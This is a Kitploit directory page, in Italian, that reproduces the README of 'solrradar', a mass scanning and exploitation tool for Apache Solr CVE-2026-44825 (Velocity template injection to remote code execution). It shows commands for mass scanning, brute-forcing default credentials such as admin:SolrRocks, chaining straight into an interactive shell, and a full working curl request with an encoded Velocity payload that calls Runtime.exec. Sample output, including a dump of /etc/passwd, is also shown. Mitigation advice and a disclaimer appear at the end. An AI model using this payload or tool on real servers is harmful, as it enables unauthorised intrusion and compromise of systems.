Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
solrradar — ☄️ Framework di ricognizione e sfruttamento di massa per Apache Solr CVE-2026-44825 — Iniezione di template Velocity a RCE | Kitploit
Strumenti/GitHubGitHub/shinthink/solrradar
RicognizioneScanner di VulnerabilitàAttacchi alle PasswordExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingCommand and ControlRed TeamingSviluppo Payload
GitHubshinthink/solrradar
51462 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

solrradar

☄️ Framework di ricognizione e sfruttamento di massa per Apache Solr CVE-2026-44825 — Iniezione di template Velocity a RCE

Vedi Repository
Condividi

SolrRadar — CVE-2026-44825 Scanner Apache Solr

Python CVE License

Threads Version Brute RCE Shell

Framework di Ricognizione di Massa & Exploitation per Apache Solr

Velocity Template Injection → Esecuzione di Codice Remoto



📑 Indice

  • Panoramica della Vulnerabilità
  • Versioni Affette
  • Funzionalità
  • Installazione
  • Utilizzo
  • Prova di Concetto
  • Approfondimento Tecnico
  • Metodologia di Rilevamento
  • Difesa & Mitigazione
  • Disclaimer
  • Riferimenti

🔴 Panoramica della Vulnerabilità

CVE-2026-44825 è una vulnerabilità di gravità critica in Apache Solr che consente agli aggressori di ottenere Esecuzione di Codice Remoto (RCE) non autenticata tramite injection di template Velocity.

Il Problema

L'endpoint /select di Apache Solr accetta un parametro wt=velocity che renderizza template Velocity forniti dall'utente. Quando il Velocity Response Writer è abilitato (o può essere abilitato tramite API di configurazione), un aggressore può iniettare un template dannoso che chiama java.lang.Runtime.exec(), eseguendo comandi arbitrari del sistema con i privilegi del processo Solr.

Impatto

VettoreGravitàImpatto
RCE non autenticata9.8 (Critica)Compromissione completa del sistema
RCE autenticata8.8 (Alta)Esecuzione di codice post-autenticazione
Divulgazione di informazioni5.3 (Media)Enumerazione di core/collezioni

Il Motore di Template Velocity

Apache Solr include Apache Velocity come motore di template opzionale per il rendering delle risposte. La vulnerabilità risiede nel VelocityResponseWriter di Solr che elabora i parametri template controllati dall'utente senza un'adeguata sanificazione, consentendo l'invocazione diretta delle API di reflection di Java:

root@kitploit:~
Catena di Reflection Java:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)

🟠 Versioni Affette

Versione Apache SolrStatoNote
9.4.0 – 9.10.1🔴 VulnerabileSfruttamento attivo in natura
10.0.0🔴 VulnerabileVersione iniziale 10.x affetta
10.0.1+🟢 CorrettaFix backportato
9.10.2+🟢 CorrettaPatch disponibile
≤ 9.3.x🟢 Non AffettaVelocity Response Writer non presente
8.x (tutte)🟢 Non AffettaNessun supporto Velocity

Nota: I controlli di versione vengono eseguiti automaticamente analizzando la risposta JSON di /admin/info/system.


✨ Funzionalità

🔍 Ricognizione

  • Scansione multi-target — 30 thread concorrenti, configurabili
  • Fingerprinting delle versioni — Estrazione esatta delle versioni Solr e Lucene
  • Rilevamento dual-mode — SolrCloud + Standalone (singolo nodo)
  • Sondaggio con autenticazione — Test di 3 endpoint admin per Basic Auth
  • Enumerazione delle collezioni — Elenca collezioni/core senza autenticazione quando possibile

💀 Exploitation

  • Brute-force delle credenziali — Dizionario integrato delle credenziali Solr predefinite
  • RCE Velocity — Iniezione di template tramite java.lang.Runtime.exec()
  • Shell interattiva — Pseudo-terminale per comandi post-exploitation
  • Catena di auto-exploit — Rileva → brute → RCE in un unico comando
  • Esportazione JSON — Output strutturato per l'integrazione con altri strumenti

📦 Installazione

root@kitploit:~
# Clona il repository
git clone https://github.com/shinthink/solrradar.git
cd solrradar

# Installa le dipendenze
pip install -r requirements.txt

# Verifica
python solr_scanner.py --help

Requisiti

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

Solo librerie standard + requests. Nessuna dipendenza esotica.


📖 Utilizzo

Argomenti da Riga di Comando

root@kitploit:~
Scanner Apache Solr CVE-2026-44825

  -t, --target     URL singolo target o IP[:porta]
  -f, --file       File contenente i target (uno per riga, # per commenti)
  --exploit        Auto-exploit se vengono trovate credenziali vulnerabili
  --rce            Avvia shell interattiva dopo l'autenticazione
  -u, --user       Nome utente per Basic Auth
  -pw, --password  Password per Basic Auth
  -o, --output     Percorso file output JSON          (default: solr_results.json)
  -w, --workers    Numero di thread concorrenti       (default: 30)
  -T, --timeout    Timeout richieste HTTP (secondi)    (default: 8)

Scansione di Base

root@kitploit:~
# Singolo target
python solr_scanner.py -t 192.168.1.100:8983

# Singolo target con percorso personalizzato
python solr_scanner.py -t http://example.com/solr

# Scansione di massa da file
python solr_scanner.py -f targets.txt -o results.json

Formato del File dei Target

root@kitploit:~
# targets.txt — supporta commenti e righe vuote
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24          # (CIDR non supportato; espandere con strumento esterno)

Exploitation

root@kitploit:~
# Scansiona + auto-exploit se trovate credenziali
python solr_scanner.py -f targets.txt --exploit

# Credenziali note + shell interattiva
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks

# Brute-force automatico + shell in caso di successo
python solr_scanner.py -t target:8983 --rce

🧪 Prova di Concetto

Scenario 1: Rilevamento & Fingerprinting delle Versioni

root@kitploit:~
$ python solr_scanner.py -f targets.txt
root@kitploit:~
Scanner Apache Solr CVE-2026-44825

Target: 3 | Thread: 30 | Timeout: 8s
Scansione in corso...

[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
    Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr

Fatto. Totale:3 | Solr:3 | Vuln:1

Tutti e 3 i target rilevati. L'istanza 9.4.1 è contrassegnata come vulnerabile con Basic Auth abilitato.


Scenario 2: Brute-Force delle Credenziali

root@kitploit:~
$ python solr_scanner.py -t solr-target.internal
root@kitploit:~
Scanner Apache Solr CVE-2026-44825

[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
    [!] admin:SolrRocks
    Cols: ['cms', 'users', 'search', 'analytics']

La credenziale predefinita admin:SolrRocks concede l'accesso alle API admin di Solr. Quattro collezioni scoperte.


Scenario 3: RCE Autenticata tramite Iniezione Velocity

root@kitploit:~
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
root@kitploit:~
Scanner Apache Solr CVE-2026-44825

[+] admin:SolrRocks

solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)

solr$ hostname
solr-prod-cms-01.internal

solr$ whoami
solr

solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...

solr$ exit

Accesso completo alla shell interattiva con i privilegi del processo Java di Solr.


Scenario 4: Il Payload RCE (Riproduzione Manuale)

Per i ricercatori che vogliono comprendere lo scambio HTTP grezzo:

Passo 1 — Verifica che Solr sia raggiungibile

root@kitploit:~
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"

Passo 2 — Elenca le collezioni disponibili

root@kitploit:~
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
  'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}

Passo 3 — Esegui comando tramite iniezione di template Velocity

root@kitploit:~
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
  'http://target:8983/solr/cms/select'

Payload del template Velocity decodificato:

root@kitploit:~
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

Risposta:

root@kitploit:~
uid=8983(solr) gid=8983(solr) groups=8983(solr)

🔬 Approfondimento Tecnico

Architettura

root@kitploit:~
┌──────────────────────────────────────────────────────┐
│                    SOLRRADAR                         │
├───────────────┬──────────────────────────────────────┤
│  FASE DI RICOGNIZIONE │       FASE DI EXPLOIT        │
│               │                                      │
│  ┌─────────┐  │  ┌──────────┐    ┌────────────────┐  │
│  │ Rileva  │──┼──▶ Brute-   │───▶│ Iniezione      │  │
│  │ Solr    │  │  │ force    │    │ Template       │  │
│  └────┬────┘  │  └────┬─────┘    │ Velocity RCE   │  │
│       │       │       │           └───────┬────────┘  │
│       ▼       │       ▼                   ▼           │
│  ┌─────────┐  │  ┌──────────┐    ┌────────────────┐  │
│  │ Controllo│  │  │ Credenziali   │  Runtime.exec() │  │
│  │ Versione │  │  │ Predefinite│  │ → RCE          │  │
│  └─────────┘  │  └──────────┘    └────────────────┘  │
│               │                                      │
│  ┌─────────┐  │  ┌────────────────────────────────┐  │
│  │ Sondaggio│  │  │ Shell Interattiva (--rce)      │  │
│  │ Auth    │  │  └────────────────────────────────┘  │
│  └─────────┘  │                                      │
└───────────────┴──────────────────────────────────────┘

Diagramma di Flusso

root@kitploit:~
URL Target
    │
    ▼
┌─────────────┐
│  normalizza │  → aggiungi http:// + /solr se mancante
└──────┬──────┘
       │
       ▼
┌─────────────┐     No
│ GET /admin/ ├────────  Salta target
│ info/system │
└──────┬──────┘
       │ Sì (200/401)
       ▼
┌─────────────┐
│ Analizza    │  → estrai solr-spec-version
│ JSON        │
│ fingerprint │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│ is_vuln()   │  → 9.4–9.10.x o 10.0.0 ?
└──────┬──────┘
       │
       ├── Non vuln → Segnala, prosegui
       │
       ▼ Vuln
┌─────────────┐
│ Controllo   │  → /admin/cores?action=STATUS
│ auth        │  → /admin/collections?action=LIST
│ (3 fasi)    │
└──────┬──────┘
       │
       ├── Nessuna auth → Tenta elenco non autenticato
       │
       ▼ Auth rilevata
┌─────────────┐
│ Brute-force │  → 4 utenti × 8 password = 32 tentativi
│ credenziali │
└──────┬──────┘
       │
       ├── Nessuna corrispondenza → Segnala vuln (senza credenziali)
       │
       ▼ Credenziali trovate
┌─────────────┐
│ Elenca cols/│  → /admin/collections o /admin/cores
│ cores       │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│ RCE via     │  → POST /{collection}/select
│ Velocity    │  → Template Velocity → Runtime.exec()
└─────────────┘

Perché bool(Response[401]) == False è Importante

Un subdolo errore Python scoperto durante lo sviluppo:

root@kitploit:~
>>> import requests
>>> r = requests.get('https://httpbin.org/status/401')
>>> bool(r)
False          # ← Le risposte 4xx/5xx restituiscono False!

Questo significa che ogni controllo if response and ... salta silenziosamente le risposte di errore — anche quando si vuole gestire specificamente il 401. La correzione è usare sempre if response is not None and ...:

root@kitploit:~
# ❌ Errato — Le risposte 401 vengono saltate silenziosamente
if r and r.status_code == 401:
    auth = True

# ✅ Corretto — Controllo esplicito per None
if r is not None and r.status_code == 401:
    auth = True

🔍 Metodologia di Rilevamento

Lo scanner utilizza una strategia di rilevamento a 3 livelli per minimizzare i falsi negativi:

Livello 1 — Analisi del Contenuto del Corpo

root@kitploit:~
'solr' in response.text.lower()

Rileva Solr nelle chiavi JSON ("solr_home", "solr-spec-version", "mode":"solrcloud"), nei dashboard HTML e nelle pagine di errore — senza distinzione tra maiuscole e minuscole.

Livello 2 — Intestazione Server

root@kitploit:~
'solr' in response.headers.get('Server', '').lower()

Alcune distribuzioni includono "Solr" nell'intestazione HTTP Server.

Livello 3 — Sondaggio Auth Multi-Fase

root@kitploit:~
# Fase 1: Verifica codice risposta di /admin/info/system
# Fase 2: Sonda /admin/cores?action=STATUS per 401
# Fase 3: Sonda /admin/collections?action=LIST per 401

Rileva distribuzioni in cui /admin/info/system è pubblico ma le operazioni admin richiedono autenticazione.

Fingerprinting delle Versioni

Due pattern regex per robustezza:

root@kitploit:~
VERSION_RE = [
    r'solr-spec-version[^0-9]*([\d.]+)',   # lucene.solr-spec-version
    r'solr-impl-version[^0-9]*([\d.]+)',   # lucene.solr-impl-version
]

🛡️ Difesa & Mitigazione

Se stai eseguendo Apache Solr, applica queste misure di hardening immediatamente:

1. Aggiornamento (Raccomandato)

root@kitploit:~
# Aggiorna a una versione corretta
# Solr 9.x → 9.10.2 o successiva
# Solr 10.x → 10.0.1 o successiva

2. Disabilita Velocity Response Writer

root@kitploit:~
<!-- In solrconfig.xml — RIMUOVI o COMMENTA: -->
<!--
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"/>
-->

3. Abilita Basic Auth + Firewall

root@kitploit:~
# Limita l'accesso agli endpoint admin di Solr a livello di rete
# Consenti solo a range IP fidati di accedere alle porte 8983/7574
iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8983 -j DROP

4. Controlla il Tuo Parco

root@kitploit:~
# Usa questo scanner contro la tua INFRASTRUTTURA
python solr_scanner.py -f mie_istanze_solr.txt -o risultati_audit.json

⚠️ Disclaimer

🚨 SOLO A SCOPO EDUCATIVO & DI TEST AUTORIZZATI

Questo software è fornito esclusivamente a scopo educativo e per ricerca di sicurezza legittima. È destinato all'uso da parte di:

  • 🛡️ Professionisti della sicurezza che conducono test di penetrazione autorizzati
  • 🏢 Organizzazioni che controllano la propria infrastruttura Apache Solr
  • 🔬 Ricercatori che studiano tecniche di sfruttamento delle vulnerabilità
  • 🎓 Studenti che imparano la sicurezza delle applicazioni web

❌ Non puoi utilizzare questo software per:

  • Accedere a sistemi informatici senza esplicita autorizzazione scritta
  • Compromettere, danneggiare o interrompere sistemi che non possiedi
  • Impegnarti in attività illegali di qualsiasi tipo

⚖️ Avviso Legale

L'accesso non autorizzato a sistemi informatici viola leggi tra cui, ma non solo:

  • Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
  • Indonesia: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
  • Unione Europea: Direttiva 2013/40/UE
  • Regno Unito: Computer Misuse Act 1990

Gli autori NON SI ASSUMONO ALCUNA RESPONSABILITÀ per qualsiasi uso improprio, danno o conseguenza legale derivante dall'uso di questo strumento. Utilizzando questo software, riconosci di essere l'unico responsabile delle tue azioni e accetti di rispettare tutte le leggi applicabili.


📚 Riferimenti

RisorsaLink
Voce NVDCVE-2026-44825
Sicurezza Apache Solrsolr.apache.org/security
Documentazione Velocity SolrVelocity Response Writer
OWASP Template InjectionServer-Side Template Injection

⚡ Costruito con precisione per la comunità di ricerca sulla sicurezza ⚡

Apache® e Apache Solr® sono marchi registrati di Apache Software Foundation.
Questo progetto non è affiliato né approvato da Apache Software Foundation.

Scarica lo strumento